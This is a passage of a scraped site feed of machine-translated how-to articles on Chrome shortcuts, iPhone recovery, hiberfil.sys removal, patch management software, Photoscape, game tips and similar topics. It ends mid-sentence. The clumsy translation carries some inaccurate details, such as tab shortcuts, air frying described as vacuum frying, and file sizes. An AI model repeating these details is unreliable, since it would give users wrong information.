ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnqKeXZ66orPErGSopl2ptaZ50q2Yp5ySrnq0r9GenKdlkaHEosXSZqanZZSewLG4wLI%3D\n","link":"/post/how-to-install-gif-images-on-the-standby-screen-always-on-display/","section":"post","tags":null,"title":"How to install GIF images on the standby screen Always On Display"},{"body":" SCUF controllers have interchangeable thumbsticks so you can mix and match with color and style. If you get tired of your current thumbsticks or they're getting worn out, you can spend less than 10 minutes switching out your old...\nTaking the Thumbsticks out of the Sockets Place the SCUF lock over 1 thumbstick. The lock tool looks like a piece of black plastic with notches sticking out on the sides. Grab the plastic lock mechanism that came with your SCUF thumbsticks and situate it over one of the thumbsticks on your controller.[1] The lock tool will come with any pair of SCUF thumbsticks that you buy.  Line up the grooves of the lock with the grooves in the thumbstick. Find the 2 grooves on either side of your thumbstick and make sure the notches on the lock line up with them. The grooves will be in line diagonally on either side of your thumbstick.[2]\n Turn the lock counter clockwise. Make sure that the notches of the lock are fitted into the grooves of the thumbstick by pressing down on it with your hand. Then, turn the lock to unlock the rings from your thumbstick.[3] You will only be able to turn the lock about 1/4 of the way around your thumbstick, but that's all it needs.  Pull the ring off from around the thumbstick. Grab the rubber ring from around your thumbstick and pull it up and off your controller. Set the ring aside if you'd like to reuse your current thumbsticks later on.[4]\nTip: If you are having trouble getting the ring off your controller, tip the controller upside down into your hand and let the ring fall off on its own.\n Pop the thumbstick off the controller. Grip your thumbstick with your fingers and pull it firmly up and out of the socket it was in. If you have any trouble, try wiggling the thumbstick back and forth slightly before you pull it out.[5] The inside of the socket will have electronics in it, so try not to get it wet or dirty.  Replacing the Thumbstick Align the arrow on the new thumbstick with the bottom left corner of the socket. Take a look at your new thumbstick and find the SCUF logo printed on it. Make sure the arrow of the logo is pointed down and toward the left corner of your socket so that it lines up correctly.[6] If your new thumbstick isn't lined up correctly, it won't pop into place.  Pop the new thumbstick into the empty socket. Slide one side of the new thumbstick into the empty socket, then pop the other side into place. If you have any trouble, try wiggling it around in the socket to make sure it's lined up correctly.[7]\nTip: The material on the bottom of the thumbstick is bendy, so you can squeeze it a little bit if you need to.\n Place the new ring around the new thumbstick. Grab the ring that came with your new thumbstick and slide it over the top so that it sits on top of the socket. You don't need to line up the grooves with the empty socket since you'll be locking the ring with your tool.[8] You can use your old rings that you took off the controller earlier if you'd like to.  Turn the SCUF lock clockwise over the ring to lock it into place. Place your lock tool over the entire thumbstick and line up the notches of the tool with the grooves in the ring. Turn the tool about 1/4 of the way around your thumbstick until the ring locks into place.[9] Make sure the ring is locked into place so that your thumbsticks stay secure while you're playing.   Lesley Montoya Update 21 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYysmq6eXam1trnBrKuim5uo\n","link":"/post/how-to-remove-scuf-thumbsticks/","section":"post","tags":null,"title":"How to Remove Scuf Thumbsticks"},{"body":"Task View is a virtual desktop manager in Windows 10, allowing you to quickly switch between all open applications on multiple virtual desktops. Create custom additional desktops to group applications for productivity, entertainment or whatever you like. This makes multitasking and arranging open applications much easier.\nVirtual desktops exist to help you visually separate and identify various tasks on your PC. They can also be useful when presenting - allowing you to prepare demos on various desktops.\nFor how to use virtual desktop, please refer to the article: How to use virtual desktop on Windows 10?\nStarting with Windows 10 build 18963, you can now rename your different virtual desktops to help enhance the separation between workspaces.\nCurrently, this change is applied to 50% of Insider users in Fast Ring and Microsoft will expand its deployment in the near future, after evaluating experience quality.\nThis tutorial will show you how to rename virtual desktops for accounts in Windows 10.\nHere's how:\n1. Open Task View ( Win + Tab ).\n2. Follow step 3 or step 4 below to choose how you want to rename the virtual desktop.\n3. Click the name of the virtual desktop and rename the desktop to whatever you want.\nOr:\n4. Right-click or hold and hold the virtual desktop thumbnail, click Rename in the context menu, and rename the desktop to whatever you want.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVo66usYyvoKuspZa5brDErKKtp6Bitq951qKlnaenqHpyfA%3D%3D\n","link":"/post/how-to-rename-virtual-desktop-in-windows-10/","section":"post","tags":null,"title":"How to rename virtual desktop in Windows 10"},{"body":"According to the tech experts of TipsMake, one of the most common errors in iPhone users is that the iPhone is disabled. The biggest reason is because users accidentally forgot the password and entered it too many times.\nEntering the wrong password 7 times in a row will cause your iPhone to enter a temporary lock state. If you enter the wrong number of consecutive 10 times, the iPhone will automatically delete all data in the machine and fall into a disabled state. However, when encountering this error, users should not be too worried because there are many quick and easy ways to fix it.\n Use the utility on iTunes Technology experts believe that when the iPhone is disabled, using the utility on iTunes is considered the most effective way. For each case, users can follow these ways:\nIf your iPhone is not connected to your computer and sync iTunes every time, you need to connect your iPhone to your computer via a USB cable and turn off the phone power.\nOn the computer, start iTunes, the computer screen will now display that the iPhone is in disabled mode, so you need to press and hold the power button and the Home button at the same time for a few seconds. Then release the power button and hold the Home button to return it to DFU mode and restore your iPhone. Wait until the iTunes notification screen has connected to the iPhone and release the Home button.\nAfter successfully putting the iPhone into DFU mode, the computer screen will display the text 'iTunes has detected an iPhone in recovery mode that needs to restore this iPhone before it can be used with iTunes' , need to click OK to continue.\nWhere iPhone connected to the computer regularly backup and sync iTunes. Firstly, users need to connect their iPhone to the computer via the iTunes software by clicking the Back Up Now button to have the computer backup all the information contained in the iPhone. When the Back Up process is complete, select Restore Backup and navigate to the nearest data backup. Then, just wait until the Restore process is finished, you can use the iPhone without the password.\nUse iCloud when your phone has Find my iPhone turned on Users should note that this method can only be used successfully when the iPhone has Find my iPhone search mode enabled. Then access the icloud address later, log in to a compatible Apple account with the phone. Select the All Devices button to display the full list of required applications. Next select iPhone (iPad or iPod - the product contains the passcode to be deleted).\nNext, select the Erase button to remove the Passcode. Finally, use the latest backup to get back the previous data. Thus iPhone phone users can access the device without a password.\nUse Recovery mode If your iPhone has been backed up and synced or doesn't store important information and the above methods don't work, try using Recovery mode immediately.\nTechnology experts believe that Recovery mode is one of the simple solutions to help users solve the above problem easily. Recovery mode will erase all the data in the device and bring the phone back to the beginning. To do this, just prepare a charging cable, a computer (running MacOS or Windows) with iTunes installed with the latest update.\nThen power off the device and exit the connection between iPhone and computer. Hold down the Home key, reconnect to the computer. Wait for a few moments, the phone will appear Connect to iTunes message on the screen, then release the Home key, select OK and select Restore iPhone and then find the nearest backup to perform.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZp6ZrXq1tc%2BsZJqqlWKxqr%2FAm6OenA%3D%3D\n","link":"/post/iphone-fix-tips-are-disabled/","section":"post","tags":null,"title":"IPhone fix tips are disabled"},{"body":"Google Chrome is one of the most famous browsers in the world today and has a lot of users. For people who often use Google Chrome, the keyboard shortcuts will help them work faster and save a lot of time. In this article, Software Tips will send you the extremely useful shortcuts on Google Chrome.\n  1. Set of keyboard shortcuts for Tab Shortcut key\nFunction\nCtrl + 1 to 8\nGo to open Tab in Chrome with the order corresponding to the numbered from left to right\nCtrl + 9\nGo to the last open Tab in Chrome\nCtrl + Page Up\nGo to the last open Tab in Chrome (similar to Ctrl + 9)\nCtrl + Shift + Tab \nor Ctrl + Page Down\nGo to Tab on the left (if all Tab will round to the last Tab)\nCtrl + W or Ctrl + F4\nClose the currently open Tab\nCtrl + Shift + T\nReopen the recently closed Tab\nCtrl + N\nOpen a new Tab in a new window\nCtrl + T\nOpen a new Tab\nCtrl + Shift + N\nOpen an incognito Google Chrome window\nAlt + F4\nExit Google Chrome and close all Tabs\n2. Set of shortcut keys displayed Shortcut key\nFunction\nCtrl and + or Ctrl + scroll up\nZoom in to the Web page display\nCtrl and - or Ctrl + scroll down\nMinimize Web page display\nCtrl + 0\nSet scale to default\nF11\nTurn on / off full screen mode\n3. Keyboard shortcut with mouse Shortcut key\nFunction\nMiddle-click on Tab\nClose Tab\nCtrl + Left click or Middle click on Link\nOpen Link in a new Tab and keep the current Tab\nShift + Left click Link\nOpen Link in a new browser window\nCtrl + Shift + Left click Link\nOpen Link in New Tab and go to that Tab\n  4. Navigation shortcut Shortcut key\nFunction\nAlt + Left arrow or Backspace\nReturn to the previous page\nAlt + Right arrow or Shift + Backspace\nGo to the next page\nF5\nReload the page\nCtrl + F5\nReload the page and delete the entire Cache\nEscape\nStops page loading\nAlt + Home\nReturn to the home page of Google Chrome\n5. Shortcut scroll action Shortcut key\nFunction\nSpace or Page Down\nForward 1 frame display\nPage Up\nMove up 1 frame display\nHome\nSwitch to the top of the Web page\nEnd\nMoves to the bottom of the Web page\nClick the middle mouse button\nMove the viewport in the direction of the mouse arrow (automatically)\n6. Search shortcut Shortcut key\nFunction\nCtrl + K\nOpen the direct search bar of Google Chrome\nAlt + Enter\nSearch and display results in a New Tab\nCtrl + F or F3\nSearch information and data in the current page (search by keywords, characters, .)\nCtrl + G or F3\nGo to the next search result in the list of search results\nCtrl + Shift + G or Shift + F3\nGo back to the previous search result in the list of search results\n7. Quick shortcuts on Google Chrome Shortcut key\nFunction\nCtrl + H\nOpen Google Chrome Web History\nCtrl + J\nOpen the Download list of Google Chrome\nCtrl + D\nSave the page on the current Tab into Bookmark\nCtrl + Shift + Del\nOpen settings to clear browsing history quickly\nCtrl + P\nPrint the open Web page\nCtrl + S\nSave the Web page to your computer desktop\nCtrl + O\nOpen a file from your computer on Google Chrome\nCtrl + U\nSee the source of the page\nF12\nOpen developer Developer Tools\nIn this article, Software Tips have sent you the shortcuts on Google Chrome most commonly used and convenient. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kuKbFwaiYq5xdqLWwvtOcrK2rXZu8s3nCoamopZViwLa5zJqpsmWfm3qktNGopJ5lo528s8DCrqusZamkwm66xJ6bZqyfYrivu9Y%3D\n","link":"/post/keyboard-shortcuts-for-chrome-summary-of-chrome-shortcuts-you-need-to-know/","section":"post","tags":null,"title":"Keyboard shortcuts for Chrome - Summary of Chrome shortcuts you need to know"},{"body":"Sometimes when you are composing a computer to reboot or lose power, you may not be able to save your text in time. The following article details how to recover unsaved text in Excel, Word and PowerPoint.\n1. Activate AutoSave and AutoRecover To be able to restore unsaved documents Microsoft Office needs to have AutoSave and AutoRecover enabled .\nStep 1: Open Microsof Office Word software on the File tab -\u0026gt; Options .\n  Step 2: Select Save -\u0026gt; select 2 items SaveAutoRecover information every and Keep the last autosaved version if I closed without saving .\n  Here you can change the time automatically save files of Office Word. If your computer is not stable, reduce the time to automatically save Word files.\n2. Restore unsaved text in Word When the computer is suddenly shut down without saving the text, open Word on File -\u0026gt; Options .\n  A dialog box appears, select Save -\u0026gt; Copy the path in AutoRecover file location .\n  Open Windows Explorer, paste the path you just copied and press Enter . Note the file extension is ASD is the file has not been saved.\n  Right-click the file you want to restore -\u0026gt; select Edit .\n  The last thing is you save your text file. Go to File -\u0026gt; Save , customize the file name and save directory.\n  With Excel and PowerPoint you do the same thing.\nncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWlo8CiwsSdZK2dqKl6qrqMsKarnF2axaSxy2anqK%2BVp72wtc2t\n","link":"/post/restore-unsaved-text-in-word-excel-powerpoint/","section":"post","tags":null,"title":"Restore unsaved text in Word, Excel, PowerPoint"},{"body":"Besides the weapons in the PUBG Mobile game, the means are equally important. If you are lucky, own certain types of vehicles will help players run faster. However, for new PUBG Mobile players, it is not familiar with the media, as well as which maps to find.\nPUBG Mobile has 3 maps including Erangel, Miramar and Sanhok map. On each map there will be exclusive vehicles, appearing with high frequency, characteristic of that map. So what kind of media is exclusive to each map in PUBG Mobile?\nPUBG Mobile errors and how to fix them 9 things to note when playing PUBG Mobile if you want to top Tips to limit blood loss in PUBG Mobile Vehicles in each map on PUBG Mobile 1. Map Erangel with UAZ car\nUAZ vehicles only appear on Erangel maps, have a moderate speed, strong climbing ability and safety compared to using motorcycles.\nIf you play Squad mode on PUBG Mobile, the vehicle will carry a team of 4 to run. Especially, the car is highly resistant, withstands great damage. Players can take advantage of the car to run at a speed of 130km / h and hit the opponent straight, breaking the enemy's encirclement.\n  2. UAZ armored vehicles come from Flare Gun\nUAZ armored vehicles can only be found from Flare Gun's hearing gun, when shooting out of white. This type of vehicle is bulletproof, the doors are carefully shielded by armored.\n  3. Mini bus only available in Miramar\nThis mini bus can carry quite a few people, but the speed is relatively slow. The advantage of the vehicle is high blood volume and can shield the player.\n  4. Map of Miramar with pickup\nThis pickup has a high blood volume but is sluggish, slower than other vehicles, especially on mountain roads. If you run by, especially boating, this type of car is not bad. The car runs smoothly when traveling on a flat road.\n  5. Rony car at Sanhok map\nMap Sanhok not only updated new guns but also added vehicles. Car Rony is another version of the pickup, which has a lower blood volume, but is better than a pickup.\nVehicles carry 4 people when going through the hilly areas. 2 people behind need attention because they are easy to be bullets and their resistance is not high.\n  6. Mirado at Miramar\nIf traveling on a flat road, Mirado has more speed than all other vehicles. But with rugged mountain roads, many vehicles are relatively slow, poor climbing ability. So you can only find Mirado in the city areas of the Miramar map.\n  See more:\nLoot locations in PUBG Mobile How to change the appearance of the character PUBG Mobile How to fix another version version PUBG Mobile Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwbq8yJyYpWWdmrGqrYyfpqtllZawqXnMmqdmp55ivbauxmakqJqZobI%3D\n","link":"/post/typical-media-for-each-map-on-pubg-mobile/","section":"post","tags":null,"title":"Typical media for each map on PUBG Mobile"},{"body":"Cheetahs, often called cheetahs, possess the fastest speed on land with the coordination of individuals in the herd, can easily knock down any prey in sight.\nCheetahs with a slim, slender and tall body structure known for their superior speed can reach 120km / h, becoming the fastest-running species in the cat family and one of the hunters. The best bait in Africa steppe.\nBut not only the speed sprinting quickly, the cheetah also has speed reflexes and the ability to improvise extremely quickly.\n  In the video, the cheetahs work together to set snares on antelopes. The male cheetah, suppressed to the ground, moves slowly, carefully approaching the area of ​​the antelope while the others in the herd have the task of 'distracting'. Every step of it is very gentle so as not to disturb the target prey.\nThe target gazelle quickly spotted the enemy and ran quickly to escape. In the process of fleeing, the gazelle 'steered' several times in order to distract the enemy but unfortunately its opponent was an experienced cheetah. Although a bit surprised by the antelope's movements, the leopard almost immediately \"steered\" and finally caught the prey.\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFksqelp3qjvsSaq6Flkah6onnPmpqkZZ%2BbeqS0xJ6rmqCjYrW2utNmq6hlpJa4pnnDqK6nZaSdsm6tza2cpaegmg%3D%3D\n","link":"/post/watch-your-breath-as-a-pack-of-cheetahs-hunt-to-take-down-the-antelope/","section":"post","tags":null,"title":"Watch your breath as a pack of cheetahs hunt to take down the antelope"},{"body":"For a long time, scientists have been recommending and disseminating about the harmful effects of high fat consumption . on health. Accordingly, limiting these foods will bring people a healthy life and limit illness. Based on that principle, many cooking technologies have been introduced one after another. One of them is not to mention the oil-free frying technology. So what is frying without oil ? What principles does it work on? Let's quantrimang learn more about this technology!\nQuick view content What is frying without oil? Learn how the oil-free frying technology works Advantages and disadvantages of oil-free frying technology What is frying without oil? Frying is not oil, also known as air frying, vacuum frying. This frying technology does not use grease to cook foods like conventional frying, but uses a heat source from electricity and combined with convection cooling fans, circulates quickly throughout the food surface, helping the food to be cooked. cooked by homogeneous hot air, instead of oil.\n  Frying oil is not born for the purpose of reducing the amount of fried oil to ensure health, while helping to overcome the disadvantages of oil splashing when frying in a pan, preserving the delicious taste of food.\nOne of the most outstanding and proud products of oil-free frying technology is the oil-free fryer product. Right from being present in Vietnam around the middle of 2014, the oil-free fryer product has been interested and chosen by many housewives, in order to bring the family healthy, cold meals.\nLearn how the oil-free frying technology works   \nOil-free frying technology generally uses the principle of vacuum frying with a heat-cooling mechanism (mayso wire), in which the heat source is from electricity and combined with a convection cooling fan, circulating quickly throughout the real surface. products, helping foods to be cooked in a uniform hot air environment, instead of oil. Along with the ability to control heat and time in the new product lines today, you will easily complete a dish like a professional chef.\nSpecifically, with the oil-free fryer product line, most models currently operate mainly based on Rapid Air technology - the oil-free frying technology applied by Philips for the first time and registered for copyright all over the world. world. Rapid Air technology is also known as RUSH technology which was researched and developed by research organization APDS Development in the Netherlands while developing oil-free fryer.\n  Rapid Air works on the principle of high temperature is circulated with intense intensity, that amount of heat will be distributed throughout the food in the pot from all sides and this amount of heat can pass through regardless food from thick pieces of meat to very small particles of food.\nWith this technology, besides fried foods, you can also use to prepare other dishes such as food drying, fruit drying. Or used to prepare baked dishes such as grilled corn, barbecue, pies, . suitable for the whole family.\nAlso, with oil-free frying, you can forget the worry about unhealthy oil. Moreover, the food retains its original flavor, does not drain oil, does not waste oil, does not cause burns or difficulties when cleaning the kitchen .\nAdvantages and disadvantages of oil-free frying technology Advantages:\nEnsuring safety for health, reducing 70-80% of oil usage, protecting health and saving. Convenient, fast and significant time saving for housewives, time for other cooking tasks.   Can process many other dishes such as steaming, baking . to help diversify dishes for the whole family. Greatly saves grease compared to conventional frying. In addition, when frying the oil does not splash, does not cause burns and does not contaminate the kitchen. Helps retain the integrity of the nutrients and flavor of food if fried at appropriate heat levels. Simple design, handy, neutral colors can fit every kitchen. Defect:\nThe price is quite high, limited capacity. Most oil-free fryers range from less than 1 million to about 9 million, but the actual capacity is only about 1.5 to 4 liters.   Not completely oil-free frying, because for some non-fat foods like potatoes, vegetables, etc., you need to add a bit of oil in it to be delicious, if not just the true meaning is 'bake' food only. It is difficult to clean the heating element and blower, but this part is often prone to get dirty, but sometimes grease and airflow in the air. Perhaps here you have a better understanding of the oil-free frying technology and the principles of how it works, right? Hopefully, you will choose a product that you like and suits the kitchen of your home!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWWp8aqusZmrqKsmKTCtXnOoqNmrJiaerG%2ByKeaoqicmnqwsoyop56qkam2sLqMqJ1mp5mhs7OxxGadq7GZo7RuwMScn6ennKS0ug%3D%3D\n","link":"/post/what-is-frying-without-oil-the-principle-of-operation-of-oil-free-frying-technology/","section":"post","tags":null,"title":"What is frying without oil? The principle of operation of oil-free frying technology"},{"body":"So can we remove it to free up space? What is hiberfil.sys file and how to delete hiberfil.sys? Here is a simple and extremely detailed tutorial.\n1. What is the file hiberfil.sys?   Depending on which version of Windows you are using, there are several options for saving energy when not using your PC. Obviously you can turn it off but putting your computer in Sleep or Hibernate mode is also a great idea, it will use less power but is ready to go quickly when you need it.\nSleep mode uses only a bit of power to maintain information in the PC's RAM. Hibernate saves even more energy by writing RAM information to the hard drive -\u0026gt; basically shutdown. These two modes have the benefit of recovery - opening your PC much faster than starting it from a completely shutdown state. Well this is what gave birth to the file hiberfil.sys - Windows writes information in RAM to that file.\nWhile I recommend Sleep or Hibernate instead of shutting down your PC in most cases, I also understand that many people prefer traditional shutdowns. In this case, disabling Hibernate will allow you to delete the hiberfil file and free up hard drive space.\nThe hiberfil.sys file can take up quite a lot of space. How much of this number depends on how much memory is installed in your PC. In my case, the hiberfil.sys file takes up 13 GB of disk space - a whopping number.\n2. How to turn off hibernation in Windows 10, 8, 7 or Vista The technique for disabling Hibernate is quite similar in Windows 10, 8, 7, and Vista. You just need to use the Command Prompt in administrative mode to get this done, all just a simple command. Disabling Hibernate mode automatically deletes the hiberfil.sys file.\nStep 1: Open Command Prompt by pressing shortcut key Windows + Sor Win + Q-\u0026gt; Enter ' command prompt ' in the search box. When you see Command Prompt in the list, right-click on it and select Run as administrator.\n  Step 2: At the command prompt, enter the following command and press Enter:\n powercfg -h off or:\n powercfg.exe / hibernate off   This command immediately disables hibernate mode , so you'll notice it no longer appears in the Power button in the Start menu .\nIt is important that the hiberfil.sys file is erased and the disk space is 'breathable' again.\n  If you change your mind and want to re-enable hibernation, just go to the Command Prompt again and use this command:\n powercfg -h on or:\n powercfg.exe / hibernate on This command immediately recreates the hiberfil.sys file and activates the dynamic sleep mode again.\n3. Turn off hibernation in Windows XP Disabling Hibernate in Windows XP is slightly different from newer versions of Windows.\nStep 1: First, open Control Panel -\u0026gt; Power Options . In the Power Options Properties window , switch to the ' Hibernate ' tab and disable the ' Enable hibernation ' option.\n  Step 2: After you turn off hibernation, restart your PC then you need to delete the hiberfil.sys file manually.\nWhat is Hiberfil file sharing article and how to delete Hiberfil.sys in Windows here is the end. I believe that after this article, you already know a little trick that helps to hack a little more memory space, if you find the article useful, don't forget to share it with your friends.\ngood luck!\nHiberfil.sys ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWYnq%2BmvsWio2aemaGybq3NnWShp6diwbB5w56jnqyVYrWqrsSrnaKko67AbrXNZq6ippSkxLQ%3D\n","link":"/post/what-is-hiberfil-file-and-how-to-delete-hiberfil-sys-in-windows/","section":"post","tags":null,"title":"What is Hiberfil file and how to delete Hiberfil.sys in Windows"},{"body":"Patch management software not only helps you update the system but also saves your company from potential threats, ransomware, viruses and exploits, which can cripple the IT infrastructure. Recently, ransomware has caused educational institutions and even health care systems to stop working. They can lock files and systems due to errors from the user or the system is not patched.\nHackers have become very sophisticated in attacks, so identifying vulnerabilities in the operating system (Windows, Linux / Unix and even Mac OS X) and fixing them immediately is immensely necessary.\nWhen software companies and operating systems identify vulnerabilities, they will create a patch and release it to all users. It is very important that software and hardware companies send patches for new features. It keeps vulnerable systems up to date, before the next major update is officially released.\nIT administrators will constantly have to patch this update to another update. IT administrators are forced to spend a lot of time patching different software, and so their productivity is significantly reduced. Sometimes, mistakes and negligence cause serious consequences for the company.\nTo avoid all these problems, it's best to use patch monitoring and management tools to assist in the system update process. The following article will look at some of the best patch management tools and software.\nThese software and patch management tools can help reduce the work of an IT administrator. They are quite comprehensive, expandable and easy to use. Let's see some of the top software for managing updates and software patches / hardware now.\nTop software / tool for monitoring and managing patches in 2019 1. SolarWinds Patch Manager 2. ManageEngine Desktop Central 3. Ivanti Patch for Windows 4. GFI Languard 5. Comodo ONE Windows Patch Management 1. SolarWinds Patch Manager SolarWinds Patch Manager is one of the most comprehensive tools to meet the needs of all companies.\n  Here are some outstanding features of this tool:\nGood integration with Windows Server Update Services (WSUS) and Microsoft update agent. Automatically update Windows patches on custom schedules. Provides options to create different patch schedules for different products. Actively identify the servers and workstations that need patches. Provides complete control over the patching process Support a wide range of providers and works well on thousands of servers and workstations, from physical, virtual, online and offline systems. Adobe, Google, Microsoft, Opera, Firefox, QuickTime, Skype, RealPlayer, WinRAR and WinZIP are some of the popular products supported by this tool. Simplify many processes / steps related to patching. Allows easy build of custom scripts to deploy necessary actions needed before or after the patch is installed. Gives you the choice to decide which patch must be installed based on the release date, importance level, etc. Allows you to create custom packages to simplify the patching process. Download a fully functional 30-day free trial of SolarWinds Patch Manager.\n2. ManageEngine Desktop Central ManageEngine Desktop Central handles all aspects of Windows, third-party applications and patch management. In fact, ManageEngine Desktop Central handles this process from start to finish, to relieve huge pressure for IT administrators.\n  Some features of ManageEngine Desktop Central include:\nDetermine the patch details of Windows or third-party applications Deployment of patches, critical bug fixes and security updates to reduce the work of IT administrators Managing .Automates for both physical and virtual IT assets Support for Microsoft and non-Microsoft updates Provide complete reports on security and patch management Automatically handle dependencies and patch sequences Deploy all missing patches and critical fixes for a system Provide periodic updates on the status of patch deployment Perform automatic detection of Windows using Active Directory Comes with an online vulnerability database, containing all available Windows updates. This can be a good reference point for IT administrators. Scan all systems in the network to find missing Windows patches and report the level of vulnerability after scanning. Download the patches and create a list of the tasks needed to deploy. Support for the following Windows operating systems: Windows XP Professional, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, Windows Server 2012 R2, Windows 10, Windows 10 Enterprise 2015 LTSB and Windows Server 2016. Download the free trial version of ManageEngine Desktop Central .\n3. Ivanti Patch for Windows Ivanti Patch for Windows comes from a company called Ivanti, specializing in the production of security software, IT asset management, supply chain and IT service management. This tool helps you solve many different operating system and application level threats of all Windows devices, including workstations and data centers.\n  Here are some things that Ivanti Patch for Windows can do for you:\nIvanti Patch for Windows is the only automated solution that handles servers and physical / virtual workstations. Ivanti Patch for Windows patches everything from Windows operating systems to hypervisors (virtual machine monitors). Provide support for third-party applications. Ivanti Patch for Windows automates the entire process, from detection, evaluation, patching and providing updates. Therefore, IT administrators can use the time and effort to perform tasks more efficiently. Comes with an intuitive interface that displays results in a visually appealing way. You can get any information you want with just a few clicks. The advanced reporting tool comes with many built-in features to support different types of reports. Integrate patch management with other functions to create a flexible infrastructure. Provides detailed and precise control of the entire patching process. Ivanti's Advanced API stack for Windows integrates with security solutions, reporting, management and configuration tools of third parties. Schedule tasks at a time without affecting users much. Download the Ivanti Trial Patch for Windows for free.\n4. GFI Languard GFI Languard is a patch management tool for operating systems such as Windows, Mac OS X, Linux and applications running on them.\n  This is what this tool provides:\nScan network automatically or on demand. Comes with all the functions and tools needed to install and manage security updates. Support for third-party software Allows administrators to detect, download and deploy missing patches for different software. Provides the option to patch a version and upgrade to the next version. Automatic patching for all browsers running on Windows operating systems. Support Exchange server on all environments, including virtual machines. Automatic download of missing patches, so the environment is configured stably and protected from security vulnerabilities. Provides access to web-based user interfaces via secure connections. The control panel provides a focused view for all information. Enables multi-tasking, allowing some users to access reports while IT administrators work on another part of the network. Comply with vulnerability assessment standards such as OVAL and Sans Top 20. Good integration with more than 4,000 critical applications across a variety of areas, from antivirus to device access control. Support vulnerability scanning on smartphones and tablets running on Windows, Android and iOS. Download the free trial version of GFI Languard.\n5. Comodo ONE Windows Patch Management Comodo ONE Windows Patch Management is a scalable and very effective patch management tool that helps reduce the burden on IT administrators.\n  Here are some features of Comodo ONE Windows Patch Management:\nAllow remote deployment of operating system updates for Windows. Provides administrators with detailed control over the deployment of updates for third-party operating systems and applications. Works with WSUS to automatically update Windows patches. Gives you the flexibility to create patch management policies and schedules that fit your organization's needs. Automatically identify servers and workstations that need patches. Provides detailed information about the patches that need to be installed. Constantly monitor the application to make sure that the patch is working Provide advanced reporting options Comodo ONE Windows Patch management is an open source software, so it is available for free. Download Comodo ONE Windows Patch management.\nIn short, patch management tools automate much of patch installation and maintenance, so IT administrators can work more efficiently, without having to worry about keeping up to date. system time. These 5 tools are some of the best software in this area and provide comprehensive patch management solutions for your organization. Please choose a software, install it and check it in your network!\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZqiRqbCpecyapZqflaKyr8CMmqWdZZ2ku6rAzqugp59dqLynwNaaqZ4%3D\n","link":"/post/5-best-patch-management-and-monitoring-software/","section":"post","tags":null,"title":"5 best patch management and monitoring software"},{"body":"When photographing in low light conditions, photographers often use flash to enhance the light, which causes red-eye phenomenon, because the photographer's eyes reflect the light of the flash. . To overcome this problem, you may have many ways to prevent the light of the lamp from shining directly into the human eye. However, when there is no chance to take a photo again, you can use Photoscape to correct the recently mentioned photos quickly. After installing Photoscape, you open the image you want to fix with the Editor function. In the left window, select the drive, the folder containing the image, and then click on the image to edit to see it in larger mode in the right window. To correct it, enlarge the photo to be close to the eye area with the ' zoom in ' function (click on the + or - or Ctrl +, Ctrl - to zoom in, zoom out), then press into the Region tab.  Next, click on the ' Red Eye ' tool and then use the mouse to drag (move the mouse while holding down the mouse button) create a small box right where the eye of the eye and release the mouse button. The small box you create on the eye of the eye will immediately look red on the pupil and replace it with black. A special feature of this function is that it does not change the color in other red colored areas in the eye. To create an animation, you must first design several photos, each of which will serve as an animation frame. Suppose you need to design an animation of 5 frames, create 5 equal size images and name them from 1 to 5. After that, open the ' AniGif ' tool and press the ' Add ' button to insert photos into Photoscape (if you want to show the photos in the animation first, insert them first). Finished inserting, you see 5 frames displayed in the order they were inserted. At this point, you need to adjust the display time of each frame and the desired effect. Click the ' Change time ' button and then tap the ' Display time ' box to set the time. Select the ' Change display times for all frames ' button if you want to adjust the same time for all frames in the animation, select the ' Change only display times of the selected frame ' button if you just edit a particular frame. The newly created animation will display each frame in turn with no effect. Click on the ' Change effect ' button and select the animation effects as you like. Photoscape's built-in effects include: moving frames back and forth, up / down, fade frames, etc. Finally, press the Save button to save the image you just made, the animation will automatically save. in .gif format. Photoscape has some other good tools like : - Batch editor : Use automatic frames for photos and process images very professionally. - Page : Create a photo page from a combination of multiple photos. - Viewer : Performing images in order (slideshow). - Rename : Rename and color mode (mode) automatically. - Screen Capture : Take a screenshot (exactly in any area). Photoscape version 3.0 has a capacity of 10,639 MB, compatible with Windows 98 / ME / 2000 / XP / 2003 / Vista. Download it for free at http://photoscape.co.kr/ps/main/PhotoScapeSetup_V3.0.exe. Nguyen Thy\nncG1vNJzZmismaXArq3KnmWcp51ksq21zKKlmqyVYr%2BmsMSynGadlpuypMCMmqWdZZ2WuKZ5wKegppmkmrFutcyanp6rXay2tbSMqZ%2BorJ%2BosKK8xA%3D%3D\n","link":"/post/eliminate-red-eye-effect-and-make-animated-images-with-photoscape/","section":"post","tags":null,"title":"Eliminate red-eye effect and make animated images with Photoscape"},{"body":"In addition to the generals you choose, the arrangement of the formation is also quite important to help you win the game, so if you have heroes that are not excellent but still know how to arrange, you can still win those other squad. In this article, there will be a few ways to arrange Dota Auto Chess squad at the game stages to help you win TOP 1.\nDota Chess Auto: How to get Candy for free and use Candy to buy Couriers Some simple but useful Dota Auto Chess tips How to arrange Dota Auto Chess squad to win the TOP 1 in the game 1. The first stage of the game A. Use straight line formation Lineup is probably the most popular line that Dota Auto Chess gamers use, first, you can build a squad of melee heroes close to the enemy. In this way, the line-up lineup will make the first match the fastest and most effective. This lineup is placed in a way from the middle of the board and spread to both sides.\n  You can also place 2-star melee pieces in the front row, then place 1-star pieces in the back. Thus, the skills of 2-star chess pieces will be released sooner.\n  If you have a squad with Assassins, put them behind instead of the top, this way you can help Assassins jump directly to the damage-causing heroes behind the opponent's line.\nB. Use angle formation   This formation is usually best used if you have a good tank champion, along with the generals that cause long hand damage. Protecting the damage-causing generals is the main thing in this formation, if you want to pull your opponent closer to you, you should let your troops get away from the dangerous area.\nOutside are buffalo generals who are resisting, inside are generals that create damage, helping these generals not to be attacked immediately. If you rely on the straight line formation above, you place weak blood generals on the 